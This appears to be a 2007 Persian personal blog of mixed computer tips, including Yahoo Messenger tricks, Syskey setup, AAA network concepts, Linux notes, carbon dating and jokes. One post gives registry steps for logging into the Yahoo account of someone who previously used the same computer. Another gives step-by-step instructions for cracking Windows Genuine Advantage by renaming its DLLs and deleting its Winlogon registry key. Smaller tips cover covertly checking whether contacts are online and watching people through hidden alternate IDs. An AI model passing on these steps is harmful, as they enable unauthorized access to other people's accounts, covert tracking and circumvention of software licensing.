![]() |
![]() |
|
| هرچه می خواهد دل تنگت ببین |
|
چگونه جلوي آي دي خود در مسنجر آبي تايپ کنيم
shift+1 گرفته و در آخر alt+0160 براي اين کار نوشته خود را تايپ کرده بعد . نکته:بايد 0160 را از سمت راست کيبورد و 1 را از عدد هاي بالاي کيبورد نوشته. مثال: zendegi+(alt+0160)+shift+1 ! zendegi که ميشود چگونه بفهميم آي دي مورد نظر تو کدوم رومه؟ هنگام PM با فرد مورد نظر منوي فايل رو باز كنيد و Go To Chat User...رو انتخاب كنيد.بعد از دادن idمورد نظر و زدن okوارد رومي ميشويد كه فرد مورد نظرتون اونجاست.ميتونيد از طريق منوي پايين رو كه كنار id خودتون از طريق يكidديگه كه طرف نميشناسه وارد بشيد كه طرف نفهمه شما وارد شديد.(درست كردن چند تا id مجازي رو هم ياد دادم) چگونه آي دي خود را از هکر پس بگيريم اگه يه كم حواستون جمع باشه هيچ وقت آي دي تونو از دست نميديد اونم خيلي ساده است و اگه ايديتون هك شده ميتونيد همين حالا پسوردشو پيدا كنيد كه بستگي به حواس جمعي خودتون داره همان طور كه ميدونيد در هنگام گرفتن اي دي از شما سوالاتي ميشه از جمله zip code secret guestion country و تاريخ تولد حالا اگه شما موقع ثبت نام اينارو يادتون بمونه اگه حتي كسي پسوردتونو پيدا كنه و عوض كنه شما كافيه به mail.yahoo.com بريد و روي forget password كليك كنيد كه همون سوالاتي كه در بالا به اونا اشاره شد ازتون ميپرسه جواب بديد بعد خود ياهوو پسورد ايدي شما رو عوض ميكنه و پسورد جديدي بهتون ميده يک راه براي بدست آوردن پسورد آي دي اگر کسي در yahoo messenger ,يک بار ID ,PASSWORD خود را درست وارد کند و بعد sing out و يا disconnect کند وبعد messenger را نبندد مي توان password او را از registry همان computer مي توان به دست آورد پس براي اين کار: :ابتدا وارد start و بعد وارد run شويد. :سپس در صفحه اي که باز مي شود تايپ کنيد:regedit و سپس enter را زده. :بعد که وارد registry شديم adress هاي زير را دنبال کنيد: HKEY_CURRENT_USER Software Yahoo Pager و بعد در پنجره سمت راست بر روي گزينه Save Password دو بار کليک کنيد و در صفحه اي که باز ميشود 0 را به 100 تغيير دهيد در اين صورت password و id کسي که قبلاٌ وارد شده در در messenger ميماند سپس وارد yahoo messenger شويد و بعد واردlogin شويد و با کمال تعجب خواهيد ديد که ..... اخر کار دو باره 100 را به0 تغيير بديد جستجو از طريق پروفايل ميخوام يه روش Yahoo search هم يادتون بدم که ميتونيد پروفايلها رو باش سرچ کنيد. ميتونيد بر حسب اسم - فاميل - شهر - کشور - سن - وضعيت تاهل سرچ کنيد. البته يکيشونو که بزنيد کافيه (مثلا فقط سن). براي ديدن اين صفحه بريد توي سايت http://members.yahoo.com يا مستقيما اينجارو کليک کنيد. هرگز بوت نشويد نترسيد و راحتر چت کنيد ! کدهايي که شمارو بوت مي کنن فيلتر کنيد خوب براي اين کار به شاخه C:\Program Files\Yahoo!\Messenger\filter1.txt برويد و فايل filter1.txt را باز کنيد و در خط کدهاي زير وارد کنيد ,url,onLoad=,که در بعضي سيستم ها بايد با يک , و يک فاصله بعد از اين کارکتر اين کار رو بکنيد ! با اين کار شما بوتر هارو غير فعال مي کنيد ساخت آي دي مجازي از منوهاي ياهو مسنجر loginرا زده و my profileرا باز كنيد.سپس creat/edit my profileرا بزنيد. احتمالا از شما id و passwordخواسته خواهد شد.بعد از دادن آن وارد صفحه ساخت آي دي خواهيد شد.creat new public profileرا بزنيد.در اينجا شما ميتوانيد idمجازي خود را درست کنيد .بعد از اينكه idشما قبول شد وارد my yahooميشويد اين به معني ميده كه id شما مورد تائيد قرار گرفته. دوباره به صفحه اول باز گرديد.اندفه خواهيد ديد كه دو idداريد.اگر اينطور نيست refreshرو بزنيد.شما مي تونيد تا 6 id به اين ترتيب بسازيد.جلوي idاصلي شما Default*نوشته شده.ميتوانيد يك id ديگر از بين idها رو به عنوان اصلي انتخاب كنيد براي اين كار Make Default را كه جلوي id است کليک کنيد . پس از پايان كار finish editigرو بزنيد.اكنون شما ميتوانيد با تمام اين اي دي ها وارد روم ها شويد. يا در يك لحظه با چند تا از انها با فرد مورد نظرتون چت بزنيد. چگونه بفهميم طرف online هست يا نه؟ يه کار جالب يادتون مي دم براي مطمئن شدن از اينکه طرف مورد نظر Invisible است? يا اين که اصلا Online نيست (مربوط به ياهو مسنجر) اين سوال بسياري از افراد است که نمي دونند دوستشان واقعا آنلاين است يا نه... من از اينجا از تمام کساني که هميشه به حالت مخفي (Invisible) مي آيند روي خط معذرت مي خواهم چون از اين به بعد اين کار معني ندارد و بايد همه به حالت آشکار روي مسنجر ظاهر شوند... خب حرف زدن بسه ! کار رو شروع مي کنيم : ----------شروع کار: روي دوست مورد نظر کليک راست را بزنيد تا منوي مربوط به او ظاهر شود از منوي باز شده گزينه Invite to Conferance (املايش را مطمئن نيستم؛ يک چيزي تو همين مايه هاست! ) حال چه طرف مورد نظر باشد چه نباشد? پيغامي مبني بر اينکه آيا مايل است توي کنفرانسي که شما او را دعوت کرده ايد? شرکت کند يا خير... مسلما او يا قبول ميکند يا نه... در هر صورت به اين پيغام جواب مي دهد و به هيچ وجه نمي تواند از گير اين سوال در برود ! اين همان چيزي است که شما مي خواهيد ! حال پنجره اي که براي شما باز شده ? منتظر جواب طرف مي شود تا به شما اطلاع دهد... اگر دوست شما به سوال جواب مثبت بدهد (که بعيد مي دانم) وارد کنفرانس شما و شما او را در ليست کساني که در روم (Room) مي شوند ميبينيد و قضيه به طور مسالمت آميز تمام مي شود... اما اگر جواب رد بدهد? در پنجره باز شده براي شما عبارتي مشابه : SEPEHR_MICROSOFT2000 is denyed your conferance ! Thanks But No Thanks مي آيد... البته مشابه اين است چون من دقيقا مطمئن نيستم کاملا همين عبارت ظاهر شود... در اينجا ID من را شما ملاحظه مي کنيد... اما وقتي شما آزمايش کنيد ID دوست شما در آنجا ظاهر مي شود... خب حالا از اين پيام متوجه مي شويد که طرف آنلاينه اما دعوت شما را نپذيرفته.... اما حالا بگم که ممکنه طرف آنلاين نباشه؛ در اين حالت پيام زير ظاهر مي شود : sepehr_microsoft2000 is not available آيا طرف مقابل شما در هنگام چت در ياهو شما رو Add کرده يا نه؟ اگه خواستين بفهمين کسي که باهاش چت مي کنين شما رو تو ليستش داره يا نه، به بالاي صفحه چتتون نيگاه کنين! اگر بين ID ايش و کلمه ي Instant Message دو تا دونه خط بودش يعني يه چيزي مثله: mo_toori -- Instant Message يعني طرف شما رو تو ليستش داره، و اگر يدونه خط بود يعني نداره: mo_toori - Instant Message بايد آنلاين باشه طرف ها!!! عوض کردن پسورد در ياهو براي عوض کردن رمز عبورمراحل زير را انجام مي دهيم: 1-رفتن به سايت اصلي ياهو http://www.yahoo.com 2-به سايت ياهو وارد مي شويم در سمت چپ اين سايت لينکهايي به رنگ آبي وجود دارد روي کلمه My yahoo کليک مي کنيم. 3-بعد از اينکه وارد اين صفحه شديم در قسمت چپ صفحه ID و Password فعلي را وارد ميکنيم و بر روي sing in کليک مي کنيم 4- در بالاي صفحه اي که مي آيد روي گزينه Account Info کليک مي کني |
|
+ نوشته شده در
جمعه 1386/09/30ساعت 16:43 توسط رضا |
|
|
بدون اینکه وبکم داشته باشیم عکس وبکم بندازیم .ابتدا بر روی مسنجر کلیک کنید کزینه اول رو که بزنید یک صفحه کوچک باز می شود سپس نیو مسنجر رو بزنید حالا کد زیر رو وارد کنید .ابتدا متن خود را بنویسیدآلت رو بگیرید و بزنید۰۱۶۰و آلت رو ول کنید حالا یک بک اسلش بزنید حالا اوکی کنید و عکس وبکم رو جلوی آی دی خودتون ببینید.
|
|
+ نوشته شده در
جمعه 1386/09/30ساعت 16:40 توسط رضا |
|
|
در این کار سیستم فایلهای ویندوز رو که به قول خودمون شلخته شدن رو مرتب میکنه. اين كار،یه کم زمان می بره، ولی در عوض، سرعت كامپيوتر شما رو بالا میبره، خدایی خیلی تاثیر داره. من سعی میکنم بیشتر اوقات این کار رو انجام میدم. شروع کار----- به ادرس گفته شده برید: Start/Programs/Accessories/System tools/Disk Defragmenter ) فقط به اين نکته توجه کنيد که با فعال کردن ادرس بالا تا وقتی که کار تموم نشده با سيستم کاری انجام ندين. اميدوارم از اين ترفند ساده خوشتون اومده باشه .(نترسيد سيستم هيچ عيبی که بر نميداره هيچ خيلی هم سر حال ميشه امتحان کنيد) |
|
+ نوشته شده در
جمعه 1386/09/30ساعت 16:39 توسط رضا |
|
|
یه پوشه ایجاد کنید و تکمه الت (alt) را پايين نگه داشته و 255 را تايپ کنيد (يا 0160) به همين راختي حالا شما يه فولدر داريد بدون اسم.شما هم امتحان کنيد .اگه مشکلي داشتيد با مدير وبلاگ تماس بگيريد.
|
|
+ نوشته شده در
جمعه 1386/09/30ساعت 16:37 توسط رضا |
|
|
از منوهاي ياهو مسنجر login را زده وmy profile را باز كنيد.سپس creat/edit my profile را بزنيد.
بعد روي id مورد نظري كه ميخواهيد پروفايلش رو درست كنيد كليك كنيد.سپس Edit Profile Information رو بزنيد.وبه اين ترتيب موارد مورد نظر رو پر كنيد. Real Name نام اصلي ـ Nickname لقب ـ Location در اين قسنت ir يا iran رو وارد كنيد. Age سن ـ Gender جنسيت - Marital Status وضعيت تاهل - Occupation شغل - در قسمت Display Email Address انتخاب مي كنيد كه ايا ايميل شما در پروفايل نشان داده شود يا نه. در قسمتهاي بعد علاقه منديها و اخرين خبرها در باره خودتان را بگزاريد و همچنين ميتوانيد چند تا لينك مثلا لينك سايت خودتون يا وبلاگتون. اگر Designate this profile as an 'adult profile' رو بزنيد پروفايل شما به كسي نشان داده نميشود. و اگر Add this profile to the Yahoo! Member Directory رو هم علامت بزنيد پرو فايل شما وارد ليست Member هاي ياهو ميشه كه بعدا اگر كسي سرچ كرد پروفايل شما هم اگر مطابق با سرچ او بود به او نشان داده ميشه. save changes رو بزنيد. در قسمت Edit Picture عكس خود را ميتوانيد وارد پروفايل كنيد.و در قسمت Edit Voice ميتوانيد صدا يا موزيك روي پروفايل قرار دهيد. Change Page Colors هم براي تغيير رنگ پروفايل. Create your own home page at GeoCities هم25 مگابايت فضا براي ساخت يك سايت به شما ميده همچنين اونجا مدلهاي اماده سايت رو هم داره كه ميتونيد يكي رو انتخاب كنيد و خيلي راحت سايت بسازيد و لينك اون رو توي پروفايلتون بزاريد.براي ديدن پروفايل شخص مورد نظر بايد اين ادرس رو بريد.به جاي ؟؟؟؟ بايد id شخص رو تايپ كنيد. |
|
+ نوشته شده در
جمعه 1386/09/30ساعت 16:36 توسط رضا |
|
|
اول – بريد توي Control Panel و بعدش Add or Remove Programs ، در قسمت آپديتهاي ويندوز يک آپديت به اسم Windows Genuine Advantage Notifications وجود داره! اول فکر ميکني که ميتوني اين آپديت رو Remove کني، اما کنف ميشي، چون اين آپديت، تنها آپديتي در خاورميانه هست که Remove نداره!! بجاش Support Information داره!! روش که بزني يک شماره سريالي بهت ميده که بين 1.5.0527.0 تا 1.5.0532.2هست!! اصلن مهم نيست اين عدد چي هست چون اين قسمت سرکاري بود! جهت اين بود که خيلي اطلاعاتي و هوشمند عمل کني و فکر کني که خيلي خفن هستي!!
دوم- با يکي از يوزرهاي ويندوز که دسترسي administrative داره، مياي بالا، ميري توي شاخه Windows و بعد ميري توي فولدر system32 ، اونجا سه تا فايل ناقلا هست، به اسامي WgaLogon.dll و WgaTray.exe و LegitCheckControl.dll !! کاري که انجام ميدي، اين هست که اين سه تا فايل رو پسوندش رو عوض ميکني، مثلن هر سه تا رو ميکني *.old ! اگه ويندوزتون پسوند فايلها رو نشون نميده ، از منوي Tools ، گزينه Folder Option رو انتخاب کنيد و بعد بريد به صفحه View و اونجا بريد به جايي که نوشته شده Hide extensions for known file types و تيک جلوش رو برداريد تا بتونيد پسوند فايها رو ببينيد!! اگه حوصله نداريد، فايله رو انتخاب کنيد و وقتي ميخوايد rename کنيد از يک جفت گيومه استفاده کنيد، مثلن بزنيد: “wgaTray.old” !! اگه ديديد که يکي از اين فايلها در حال اجراست و نميتونيد اسمش رو تغيير بديد، با Ctrl+Alt+Del ، برنامه Task Manager رو باز کنيد و از توي صفحه processes ، اين فايل رو End Task کنيد، اگر بازهم ديديد نميشه، با SafeMode ويندوز بيايد بالا و ترتيب فايلها رو بديد، ( يعني وقتي ويندوزتون ميخواد بياد بالا، F5 بزنيد يا F8 بزنيد و ازونجا گزينه Safe Mode رو انتخاب کنيد!) * تذکر مهم و حياتي! اگر نميدونيد اين چيزها که گفتم چي هست و اصلن سر در نمياريد، شما از ويندوز هيچي بلد نيستيد، لطف کنيد اون X بالاي اين صفحه رو بزنيد و بيخيال کرک کردن ويندوز بشيد، زنگ بزنيد به علي سلي شما رو راهنمايي ميکنه!! يا بريد همون وبلاگتون رو بخونيد يا اصلن بيخيال اين مطلب بشيد، خب؟ جون من بيخيال بشو.... سوم- بريد توي start و بعد Run و اونجا بزنيد RegEdit ! اگه نميدونيد و اين رو بلد نيستيد بريد به شماره بالا، قسمت تذکر مهم! اگر RegEdit شما باز شد که خدا رو شکر کنيد، اگر باز نشد، بازهم شما احتمالن داراي ويروس يا تروژان يا جفتش هستيد در اين صورت بازهم با علي سلي تماس بگيريد!! اگر رجيستري شما باز شد بريد به اين آدرسها و اين شاخه ها رو کلن پاک کنيد: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\WgaLogon بعد از همه اين کارها، در حالي که کامپيوتر رو ري استارت ميکنيد، شيطان رو لعنت کنيد، عمو سيمور رو دعا کنيد، و دو انگشت شستتون رو به علامت ويکتوري و بيلاخ توام بالا بياريد، اگر ميخوايد خيلي نتيجه بگيريد، دو تا شست پاتون رو هم بالا بياريد که حتمن برسه به روح مايکروسافت! بعدش که ويندوز اومد بالا و همه چي مرتب بود و خبري از اون ستاره و اين صحبتها نبود، اون سه تا فايل رو که Rename کرده بوديد، پاک کنيد! اگر هم نکرديد يا اصلن همون اول بجاي Rename پاک کرده بوديد، این دزدی رو از یه دزد دیگه انجام دادم که اونم از یه دزد زده. http://www.darkside.blogfa.com اون دزدس |
|
+ نوشته شده در
پنجشنبه 1386/09/22ساعت 2:57 توسط رضا |
|
|
آدرسهاي وبلاگ شما : |
|
+ نوشته شده در
پنجشنبه 1386/09/22ساعت 2:26 توسط رضا |
|
|
محبوب شدن لپتاپها در بین افراد عجیب به نظر میرسد. |
|
+ نوشته شده در
چهارشنبه 1386/09/21ساعت 22:18 توسط رضا |
|
|
to uninstall deep freeze run the program DFStr.exe again براي برداشتن برنامه از روي سيستم DFStr.exe را اجرا کنيد. DFStr.exe هم براي نصب و هم براي حذف برنامه بکار گرفته مي شود. |
|
+ نوشته شده در
سه شنبه 1386/09/20ساعت 20:42 توسط رضا |
|
![]() |
|
+ نوشته شده در
یکشنبه 1386/09/18ساعت 16:38 توسط رضا |
|
![]() |
|
+ نوشته شده در
یکشنبه 1386/09/18ساعت 16:34 توسط رضا |
|
![]() |
|
+ نوشته شده در
یکشنبه 1386/09/18ساعت 16:32 توسط رضا |
|
![]() |
|
+ نوشته شده در
یکشنبه 1386/09/18ساعت 16:28 توسط رضا |
|
|
- فرض كنيد : |
|
+ نوشته شده در
جمعه 1386/09/16ساعت 0:24 توسط رضا |
|
|
در ویندوز XP می توانید قبل از فعال شدن هر حساب کاربری ( USER ) ها پسورد دیگری قبل از همه اینها قرار دهید .
انتخاب این پسورد سبب خواهد شد تا دیگران قبل از ورود به ویندوز از دو سپر امنیتی عبور کنند. برای اضافه نمودن این پسورد به ویندوز مراحل زیر را دنبال کنید : 1)در کادر محاوره ای RUN عبارت Syskey را تایپ کنید و سپس OK کنید . 2)در پنجره ظاهر شده با سر برگ Securing the Windows XP Account Database روي گزینه Update كليك كنيد. 3)حال در قسمت Password Startup پسورد دلخواه خود را وارد کنید و پنجره را با OK ببندید. 4) در صورت لزوم می توانید در قسمتSystem Generated Password پسورد را بر روی Floppy Disk ذخیره نمائید تا فقط با استفاده از آن قادر به عبور باشید. از این پس زمانی که سیستم روشن و یا ریبوت شود . پسورد امنیتی قبل از ورود به حساب های کاربری ظاهر می شود و برای ورود از شما پسورد در خواست می کند. توجه :اگر پسورد را سه مرتبه اشتباه وارد کنید سیستم ریبوت می شود |
|
+ نوشته شده در
جمعه 1386/09/16ساعت 0:24 توسط رضا |
|
|
بر روي کامپيوتر بسياري از کاربران همزمان دو سيستم عامل نصب مي باشد (معمولا ويندوز 98 و ME در کنار ويندوزي از خانواده NT ) |
|
+ نوشته شده در
جمعه 1386/09/16ساعت 0:22 توسط رضا |
|
|
در يک حفاري تکه استخواني پيدا مي شود و باستان شناسان مي گويند که اين استخوان 5 هزار سال عمر دارد. يک بچه ماموت در آند کشف مي شود و عمر آن را بيش از 2 هزار سال تخمين مي زنند. اما دانشمندان چگونه مي فهمند که يک شيء يا اجساد و بقاياي موجودات زنده متعلق به چه زماني هستند. تاريخ سنجي به وسيله کربن 14 يک روش رايج و مطمئن براي تعيين قدمت بقاياي موجودات زنده است ، با اين شرط که حداکثر 50 هزار سال عمر داشته باشند.اين روش فقط درخصوص اشيايي به کار مي رود که يا خود زماني زنده بوده اند مانند استخوان ، بقاياي گياهان و بقاياي اجساد حيوانات و انسان ها و يا اين که از موجودات زنده ساخته شده اند. مانند لباسهاي پنبه اي يا کتاني ، وسايل چوبي و غيره. کربن 14 چگونه ساخته مي شود؟ اشعه کيهاني هر روز و به مقدار زياد به اتمسفر زمين مي رسد. براي مثال در هر ساعت نيم ميليون تابش کيهاني به هر فرد مي تابد. اين اشعه کيهاني با اتمهاي اتمسفر برخورد مي کند و تابشهاي ثانويه را به صورت نوترون هاي پر انرژي به وجود مي آورد. اين نوترون هاي پرانرژي با اتمهاي نيتروژن برخورد مي کنند. پس از برخورد نوترون با نيتروژن 7(14پروتون و 7نوترون) اين اتمها به اتمهاي کربن 6(14 پروتون و 8نوترون) به اضافه اتمهاي هيدروژن (يک پروتون و يک نوترون) تبديل مي شوند.کربن 14 راديواکتيو است با نيمه عمري حدود 5700 سال. (نيمه عمر مدت زماني است که نصف اتمهاي يک ماده راديواکتيو به دليل تابش غيرفعال مي شوند). کربن 14 در موجودات زنده اتمهاي کربن 14 که بر اثر تابش کيهاني به وجود آمده اند با اتمهاي اکسيژن ترکيب شده و گاز دي اکسيدکربن مي دهند. گياهان اين گاز را جذب کرده و بر اثر پديده فتوسنتز کربن 14 در فيبر گياهان وارد مي شود.حيوانات و انسان ها اين گياهان را مي خورند و کربن 14وارد بدن آنها مي شود. نسبت کربن 14 به کربن معمولي (کربن)12 در هوا و بدن موجودات زنده در تمام زمانها تقريبا ثابت بوده و هست. تقريبا در هر تريليون اتم کربن يک اتم ، اتم کربن 14است.کربن 14واپاشي مي کند. ولي هميشه تا زماني که موجود زنده است ، به دليل تبادل با محيط بيرون اتمهاي واپاشيده شده با اتمهاي جديد کربن 14جايگزين مي شوند و اين نسبت تقريبا ثابت مي ماند. تعيين تاريخ يک فسيل به محض اين که يک موجود زنده مي ميرد، دريافت کربن آن از محيط قطع مي شود. نسبت کربن 12 به کربن 14 در لحظه مرگ موجود با مقدار استاندارد آن در بدن بقيه موجودات زنده برابر است ؛ ولي پس از مرگ کربن 14 واپاشيده شده و با هيچ کربن 14 جديدي جايگزين نمي شود.کربن 14 بتدريج و با سرعت بسيار کم از بين مي رود در حالي که مقدار کربن 12 ثابت است.با به دست آوردن نسبت کربن 12 به کربن 14 در نمونه مورد بررسي و مقايسه آن با مقدار استاندارد اين نسبت در موجودات زنده مي توان قرني را که اين موجود در آن مي زيسته است ، با دقت بسيار خوبي محاسبه کرد. فرمول محاسبه عمر فسيلها با استفاده از کربن 14به شرح زير است : |
|
+ نوشته شده در
جمعه 1386/09/16ساعت 0:21 توسط رضا |
|
|
به همین جهت در این فرصت تصمیم گرفتم راه حل یک مشکل کوچک ولی مهم را که برای کاربران مبتدی یا متوسط لینوکس بسیار حائز اهمیت است ذکر نمایم . مشکل مذکور ناشی از عدم مشاهده منوی استارت یا شروع رابطهای گرافیکی فوق یا بهتر بگویم عدم نمایش برخی برنامه های جدید نصب شده برروی سیستم در این منوهاست . نظر به اینکه منوی شروع یا استارت در رابط گرافیکی کاربر بعد از هرگونه اعمال تغییرات توسط سیستم یا خود کاربران میبایست روزآمد یا update گردد و گاهی این عمل بصورت خودکار صورت نمیگیرد ممکن است یک کاربر پس از نصب یک برنامه جدید با مراجعه به منوی استارت این محیطهای گرافیکی منوی مذکور را درهم ریخته یا در برخی نقاط غیر قابل مشاهده ببیند و یا برنامه نصب شده خود را که گاها همراه سی دی اصلی لینوکس عرضه شده و طبعا نباید مشکلی در هنگام مشاهده در رابط گرافیکی داشته باشد در منوی مذکور مشاهده ننماید . در اینگونه موارد دو کار میتوان انجام داد : ۱ – با اجرای برنامه menuconfig از خط فرمان shell و در محیط گرافیکی این برنامه اقدام به رفع نواقص احتمالی و جایگزین نمودن پایانه های معیوب نمود که البته اینکار مستلزم وجود برنامه مذکور درسیستم کاربر است و ممکن است هر توزیع لینوکس با توجه به محیط گرافیکی مورد استفاده خود برنامه خاصی را برای اینکار تدارک دیده باشد . ۲ – اما راه حل بسیار مطمئن و سریع برای روزآمد کردن و اصلاح اشکالات منوی استارت استفاده از دستور update-menus -v در محیط فرمان shell میباشد . update-menus -v $ توجه داشته باشید که اجرای این فرمان نیاز به مجوز کاربر ریشه یا super user ندارد و هر کاربر تعریف شده در سیستم منوی استارت اختصاصی خود را با اجرای این فرمان روزآمد یا update مینماید . استفاده از فرمان تکمیلی v- یا همان verbose mode اختیاری است لیکن باعث نمایش اطلاعات مربوط به به روزرسانی منوی استارت و انجام عملیات برروی تمام رابطهای گرافیکی نصب شده برروی سیستم مثل gnome , kde ,twm و غیره میگردد . |
|
+ نوشته شده در
جمعه 1386/09/16ساعت 0:19 توسط رضا |
|
|
زندگی قصه مرد یخ فروشی است كه یك روز از او پرسیدند : فروختی ؟ گفت : نخریدند تمام شد سعی کن تنها باشی: زیرا تنها به دنیا آمده ای و تنها از دنیا خواهی رفت. بگذار عظمت عشق را درک نکنی: زیرا آنقدر عظیم است که تو را نابود خواهد کرد. بگذار خانه ی عشقت خالی از وجود باشد: زیرا اگر عشقی در آن منزل کند به ویرانه های آن هم رحم نخواهد کرد. اما اگر عاشق شدی، سعی کن تنها یک نفر را دوست داشته باشی. سعی کن عشقی که داری عشق پاک باشد، به خنده ی او بخند و به گریه ی او گریه کن و تنها برای عشق خود قدم برد انواع مرد: اروپایی:یه زن داره یه دوست دختر(زنشو بیشتر از دوست دخترش دوست داره) امریکایی: یه زن داره یه دوست دختر(دوست دخترشو بیشتراز زنش دوست داره) ایرانی:یه زن داره سی تا دوست دختر(ننه اش رو از همه بیشتر دوست داره |
|
+ نوشته شده در
جمعه 1386/09/16ساعت 0:18 توسط رضا |
|
|
از قديم رياضي به دو دسته ي حساب و هندسه تقسيم ميشده در يونان بيشتر رياضيدانان بزرگ به علم هندسه پرداخته اند زيرا در آن زمان كه يوناني ها برده داري ميكردند علومي را كه كاربردي بود تحقير ميكردند زيرا آنها تمام كارها و علوم كاربردي را مختص برده ها مي دانستند و چون فكر ميكردند كه علم هندسه كاربردي ندارد به علم هندسه پرداختند و كشفهاي زيادي را در هندسه به دست آوردند ولي در زمينه ي حساب ضعف هاي زيادي داشتند البته در چند سده ي آخر كه بيشتر دانشمندان به اسكندريه رو آورده بودند كارهاي اندكي در زمينه ي رياضيات محاسبهاي داشتند.يوناني ها حتي نتوانستند راه ساده اي براي عدد نويسي پيشنهاد كنند و عددها را به كمك حروف الفبا مينوشتند. اما در سده ها و هزاره هاي پيش از دانش يونان مردمي كه در سرزمينهاي ايران، بابل، مصر، چين و جاهاي ديگر زندگي مي كردند از آن جا كه به كاربرد هاي رياضيات نظر داشتند نه تنها در عدد نويسي، كه به طور كلي در زمينه هاي مختلف رياضيات محاسبه اي، بسيار پيشرفته بودند و با عددهاي كوچك و بزرگ كار مي كردند. روابط جالب در رياضی
|
|
+ نوشته شده در
جمعه 1386/09/16ساعت 0:16 توسط رضا |
|
|
||
|
+ نوشته شده در
دوشنبه 1386/09/12ساعت 23:40 توسط رضا |
|
|
AAA که مخفف Authentication, Authorization and Accounting است سه محور اصلی در کنترل دسترسی در شبکه هستند که در این بخش در مورد هریک از آنها به طور مجزا و مختصر صحبت میشود. ابتدا تعریفی از هریک از این مفاهیم ارائه میدهیم. ۱ - Authentication ۱-۱ - مفهوم Authentication به معنای وارسی عناصر شناسایی ارائه شده از سوی کاربر، تجهیزات یا نرمافزارهایی است که تقاضای استفاده و دسترسی به منابع شبکه را دارند. عناصر شناسایی در ابتداییترین و معمولترین حالت شامل نام کاربری و کلمه عبور میباشند. در صورت نیاز به بالاتر بودن پیچیدگی فرایند کنترل و وارسی هویت، میتوان با اضافه نمودن عناصر شناسایی به این مهم دست یافت. بدیهی است که با اضافه نمودن فاکتورها و عناصر شناسایی، نوع خادم مورد استفاده، پایگاههای دادهای مورد نظر و در بسیاری از موارد پروتکلها و استانداردها نیز باید مطابق با تغییرات اعمال شده در نظر گرفته شوند تا یکسانی در ارائه خدمات در کل شبکه حفظ شود. پس از ارائه عناصر شناسایی از سوی متقاضی، سیستم کد کاربری و کلمه عبور را با بانک اطلاعاتی مختص کدهای شناسایی کاربری مقایسه کرده و پذیرش یا عدم پذیرش دسترسی به منابع را صادر میکند. عمل Authentication، در طراحی شبکههایی با حجم کم و متوسط عموماً توسط تجهیزات مسیریابی و یا دیوارهای آتش انجام میگیرد. علت استفاده از این روش مجتمع سازی و ساده سازی پیادهسازی عمل Authentication است. با استفاده از امکانات موجود نیاز به استقرار یک خادم مجزا برای صدور پذیرش هویت متقاضیان دسترسی مرتفع میگردد. از سوی دیگر در شبکههای با حجم و پیچیدگی نسبتاً بالا، عموماً با توجه به پردازش بالای مختص عمل Authentication، خادمی بصورت مستقل و مجزا به این امر اختصاص مییابد. در این روش از استانداردها و پروتکلهای مختلفی همچون TACACS+ و RADIUS استفاده میگردد. ۱-۲ - فعال نمودن Authentication فعال نمودن Authentication بر روی تجهیزات مورد استفاده در شبکه عملی است که عموماً در چهار مرحله انجام میشود : الف - فعال نمودن AAA بر روی سختافزارهای مورد نظر ب - ایجاد پایگاه دادهای از کدهای کاربری کاربران یا تجهیزات شبکه به همراه کلمههای عبور. همانگونه که ذکر شد، این پایگاه میتواند در داخل تجهیزات مورد استفاده در شبکههای با حجم کم پیادهسازی شود. در شبکههای با حجم نسبتاً بالا که در آنها نیاز به استفاده از خادمی مختص عمل Authentication احساس میشود، تجهیزات فعال شبکه به گونهای پیکربندی میشوند که عملAuthentication را با استفاده از پایگاههای دادهای مستقر بر روی خادمهای مختص این فرایند، انجام دهند.
ب – ایجاد فهرست(های) روش انجام عمل Authorization. این فهرستها علاوه بر تعیین روش مورد نظر برای عمل Authorization، مبین سرویس مورد نظر برای عمل Authorization نیز میباشند. ج – اعمال فهرست(های) روش ساخته شده ار مرحله قبل. ۳ - Accounting ۳-۱ – مفهوم Accounting Accounting آخرین بخش از فرایند جمعی AAA است. طی این فرایند، گزارشی از عملکرد کاربران یا سختافزارهایی که هویت آنها طی اعمال Authentication و Authorization تایید شده است، توسط خادم AAA تهیه میشود. این عمل میتواند با استفاده از خادم های خارجی که اس پروتکلها و استانداردهایی چون TACACS+ و RADIUS استفاده میکنند انجام گیرد. به بیان دیگر، این عمل قدمی فراتر از دو مرحله پیشین برداشته، و پیگیری بعدی، پس از احراز هویت را انجام میدهد. پیامهای Accounting به شکل رکورد، میان تجهیزاتی که از طریق آنها دسترسی متقاضی درخواست شده و پایگاههای دادهای از قبیل TACACS+ یا RADIUS، تبادل میگردد. ۳-۲ – فعال سازی Accounting فرایند فعال سازی Accounting مشابه Authorization است که مهمترین مراحل شامل ایجاد فهرستهای روش Accounting و اعمال آنهاست. |
|
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 15:17 توسط رضا |
|
|
بستههای نرمافزاری چه هستند و چرا به آنها نياز داريم؟ هنگامی که توزیع لینوكس خود را نصب میکنید، اکثر نرمافزارهای مورد نيازتان همراه آن نصب میشود. ولی با این حال پیش میآید که نياز به بستههای دیگری داشته باشید و یا بستههای نرمافزارهای موجود را بخواهید به نسخههای جدیدتر ارتقا دهید. در چنین مواردی است که باید بستههای جدید را روی CD و یا از اینترنت دریافت نموده و نصب نمایید. بستههای نرمافزاری کار نصب نرمافزارهای کاربردی را در لینوكس آسان کردهاند. دیگر لازم نیست برای نصب هر نرمافزار، کاربر کدهای منبع را دریافت کرده، آنها را کامپایل نموده و نصب کند. کاری که بسیاری از کاربران از انجام آن ناتوان هستند. همانطور که متوجه شدید، بستههای نرمافزاری حاوی برنامههای قابل اجرا و آماده برای نصب هستند. ممکن است در اینترنت به انواع مختلفی از بستههای نرمافزاری برخورد نمایید که البته همه آنها حاوی نرمافزارهای آماده برای نصب نیستند که جلوتر درباره آنها توضیح خواهم داد. پر کاربردترین بستههای آماده نصب نرمافزارهای کاربردی، بستههای نوع rpm و deb هستند. در این مقاله ما به بررسی بستههای نرمافزاری با فرمت rpm و مدیریت آنها خواهیم پرداخت و در مقاله جداگانهای، مدیریت بستههای deb را که مخصوص لینوكس debian و توزیعهای مبتنی بر آن است را بررسي خواهیم کرد. درک نامگذاری و فرمت بسته های نرمافزاری وقتی بسته ای را از اینترنت دانلود میکنید، میبینید که از یک نام، تعدادی شماره، نقطه، gz و tar تشکیل شده است. خوب اینها چه معنی دارند؟ ابتدا این اعداد و حرفها پیچیده به نظر میرسند در صورتی که اگر برایتان شرح داده شوند، بسیار ساده هستند. پس از مدتی به این شیوه نامگذاری عادت خواهید کرد. بیشتر بسته های نرمافزاری لینوکس از قاعده نامگذاری GNU استفاده میکنند. مثالهای زیر 